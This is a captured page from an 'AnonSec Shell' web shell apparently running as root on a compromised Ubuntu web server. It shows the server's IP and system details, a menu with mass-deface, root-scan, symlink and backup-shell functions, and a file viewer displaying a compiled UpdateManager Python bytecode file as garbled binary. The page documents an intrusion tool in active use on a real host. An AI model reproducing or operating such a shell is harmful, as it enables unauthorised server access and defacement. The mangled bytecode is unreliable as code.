AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/UpdateManager/backend/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/UpdateManager/backend/__pycache__/__init__.cpython-310.pyc
o

z��c�@�@s\dZddlmZddlZe�dd�e�dd�ddlmZmZmZdd	l	m
Z
ddlZddlZddl
Z
ddlZddlZdd
lmZddlmZddlmZdd
lmZmZddlmZGdd�de�Ze
j�d�r�de
jvr�zddlmZWne y�e�!d�Ynwe
j�d�r�de
jvr�zddl"m"Z"Wne y�e�!d�Ynwdd�Z#dS)z2Integration of package managers into UpdateManager�)�absolute_importN�Gtkz3.0�Snapd�1)�GLibrr)�Cache)�gettext)�Thread)�MyCache)�
inhibit_sleep�get_dist_version)�Dialogc@steZdZdZdZdZdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dd�Zdd�Z	ddd�ZdS)�InstallBackendr��cCst�||�||_d|_dS�N)r
�__init__�action�sleep_cookie)�self�window_mainr�r�@/usr/lib/python3/dist-packages/UpdateManager/backend/__init__.pyr!s
zInstallBackend.__init__c	Cstdtjd<t�|_|j|jkrM|jj}t|jjj	d�}g}g}|jj
D]!}||}||}|jr9|js9|�
|�q#|jrD|jrD|�
|�q#|�||�dS|j|jkr�g}g}	g}
t|jjj	d�}|jjD]E}z:|jr�||jjs�|j}|jr{|d7}|�
|�n|jr�||jjr�|	�
|j�n|jr�||jjr�|
�
|j�Wqety�Yqew|�||	|
�dS|��dS)N�none�APT_LISTCHANGES_FRONTEND)�rootdirz#auto)�os�environrrr�ACTION_PRE_INSTALLr�cacherr�oem_metapackages�marked_install�is_installed�append�marked_upgrade�
is_upgradable�
commit_oem�ACTION_INSTALL�name�is_auto_installed�
marked_delete�KeyError�commit�update)r�
unfresh_cache�fresh_cache�pkgs_install_oem�pkgs_upgrade_oem�pkg�unfresh_pkg�	fresh_pkg�pkgs_install�pkgs_upgrade�pkgs_remove�pkgnamerrr�start&s`
��
�
�
�
���zInstallBackend.startcC�t�)z(Run a update to refresh the package list��NotImplementedError�rrrrr-Z�zInstallBackend.updatecCs|j|jdddddd�dS)z Install these OEM packages TN)�
authorized�success�error_string�
error_desc�trans_failed)�_action_doner)rr0r1rrrr&^s

�zInstallBackend.commit_oemcCr:)zCommit the cache changes r;)rr5r6r7rrrr,er>zInstallBackend.commitc
Cs:i}i}dt�}|jj}zstdd�}t�|�}|��|dD]/}|d|}|�dd�}	|�d|�}
|�dd�}||vr?q |rI||jdurIq |	|
f||<q |d	D]'}|d	|}|�d
|�}
|�dd�}||vrmqT|rw||jdurwqT|
||<qTW||fSt	y�}zt
�d|�WYd}~||fSd}~ww)Nzstable/ubuntu-z0/usr/share/ubuntu-release-upgrader/deb2snap.json�r�seeded�deb�
to_channel�metapkgF�unseeded�from_channelz%error reading deb2snap.json file (%s))rrr�open�json�load�close�getr"�	Exception�logging�debug)r�seeded_snaps�unseeded_snaps�curr_channelr�d2s_file�d2s�snap�seedrGrHrI�unseedrK�errr�get_snap_seedsisH
�

����zInstallBackend.get_snap_seedsc

Csz |jjdurtd�|j_n
|jj�d�|jj��|jj}Wnty;}zt�d|�gWYd}~Sd}~wwg}|��\}}|�	�D]6\}\}}||vr~||j
r~d}||��|��D]}	|	j
rr|	j
rr|	jsrd}nqc|��|r~|�|�qH|S)Nzerror reading cache (%s)TF)rrr
rL�
_initDepCacherQrRrSr]�itemsr"�mark_delete�get_changesr*r)�clearr#)
rrr\�
duplicatesrT�_rYrG�deb_is_autor2rrr�get_deb2snap_dups�s:����
�z InstallBackend.get_deb2snap_dupscCs�i}|��\}}|��D]:\}\}}i}tjdd|gdtjd���}t�d|dtj�r4t	�
d|�q||jjvrFd|d	<||d
<|||<q|��D]�\}}	i}tjdd|gdtjd���}t�d|dtj�r�t	�
d|�d}
t�d|
|dtj�s�t	�
d
|�qKd|d	<tjdd|gdtjd���}|d�
d�D]>}|�
�}
t|
�dkr�q�|
d}|
d}|�|d�r�|�
d�d}|dkr�||vr�t	�
d||f�d|d	<d|d
<nq�|||<qK|S)NrY�infoT)�universal_newlines�stdoutz^installed: rzSnap %s is installed�install�command�channelz#stable/ubuntu-[0-9][0-9].[0-9][0-9]z^tracking:.*%sz+Snap %s is not tracking the release channel�remove�connections�
�rr�:�-z9Snap %s is being used by %s. Switching it to stable track�refresh�stable)r]r_�
subprocess�Popen�PIPE�communicate�re�search�	MULTILINErRrSr�duplicate_packages�split�len�
startswith)r�	snap_listrTrUrYrGrH�snap_object�	snap_inforK�
re_channel�conns�conn�	conn_cols�plug�slot�	plug_snaprrr�get_snap_transitions�s������

��������z#InstallBackend.get_snap_transitionsc
Csz|\}}}|s	dSd}d}	|��D]}
||
��7}|	|
��7}	q|	|}||||}||��kr;t�|j|�dSdS)Nr)�	get_tasks�get_progress_total�get_progress_done�get_fractionr�idle_add�set_fraction)
r�client�changerd�	user_data�index�count�progress_bar�
task_total�	task_done�task�
task_fraction�total_fractionrrr�update_snap_cb�s
�zInstallBackend.update_snap_cbc
s��fdd�}dd�}|td��d}d}�j��}|r.t|dtj�r.|d}t�d||�}���}|r>t�	|�|�
d�zmt��}|�
�d}t|�}	|��D]X\}
}|d}|d	kru|td
|
��|j|
|d�j||	|fd�n0|d
kr�|td|
��|j|
�j||	|fd�n|td|
��|j|
|d�j||	|fd�|d7}qQWn)tjy�}
zt�d|
�t��jjdtd�td��WYd}
~
dSd}
~
wwt��jj�dS)Ncst��jj|�dSr)rr��
label_details�	set_label)�statusr=rr�
update_statussz2InstallBackend.update_snaps.<locals>.update_statuscSs|��dS)NT)�pulse)r�rrr�update_progresssz4InstallBackend.update_snaps.<locals>.update_progresszUpdating snapsr�drkrszRefreshing %s snaprl)�progress_callback_datarmzRemoving %s snapzInstalling %s snaprzerror updating snaps (%s)Fz!Upgrade only partially completed.zMAn error occurred while updating snaps. Please check your network connection.)rd�progressbar_slot�get_children�
isinstancer�ProgressBarr�timeout_addr��
source_remover�r�Client�connect_syncr~r_�refresh_syncr��remove_sync�install_sync�ErrorrRrSr�r�start_error�start_available)rr�r�r��progress_timer�
progress_barsr�r�r�r�rYr�rkr\rr=r�update_snapssp
�

��
����
����	zInstallBackend.update_snapsFcCs�||jkr|r|j|_|��dS||jkrL|r-tj�d�r-t|d�r-t|j	d���dS|r6|j
��dS|rB|j
�|||�dSt
�d|j
j�dS|rX|j
�d||�dS|rrtj�d�rrt|d�rr|��|j
_|j
��dS|}|j
�|�dS)Nz
/usr/bin/snap�pane_update_progress)�targetrT)rr'rr9r�path�exists�hasattrr	r�rr�r�rr��exitrfr|)rrr?r@rArBrC�is_cancelled_updaterrrrDLs0

�
��zInstallBackend._action_doneN)F)�__name__�
__module__�__qualname__�
ACTION_UPDATErr'rr9r-r&r,r]rfr�r�r�rDrrrrrs 4&&AA�r�/usr/sbin/aptd�%UPDATE_MANAGER_FORCE_BACKEND_SYNAPTICr)�InstallBackendAptdaemonzimporting aptdaemon�/usr/sbin/synaptic�&UPDATE_MANAGER_FORCE_BACKEND_APTDAEMON)�InstallBackendSynapticzimporting synapticcOs�tj�d�r"dtjvr"zt|i|��WSty!t�d�Ynwtj�d�rBdtjvrBzt|i|��WStyAYt	d��wt	d��)z,Select and return a package manager backend.r�r�zusing aptdaemon failedr�r�zENo working backend found, please try installing aptdaemon or synaptic)
rr�r�rr��	NameErrorrR�	exceptionr�rQ)�args�kwargsrrr�get_backend�s$����r�)$�__doc__�
__future__r�gi�require_version�
gi.repositoryrrr�aptrrMrRrryrurrd�	threadingr	�UpdateManager.Core.MyCacher
�UpdateManager.Core.utilsrr�UpdateManager.Dialogsr
rr�r�rr��ImportErrorr�r�r�rrrr�<module>sJZ����

Anon7 - 2022
AnonSec Team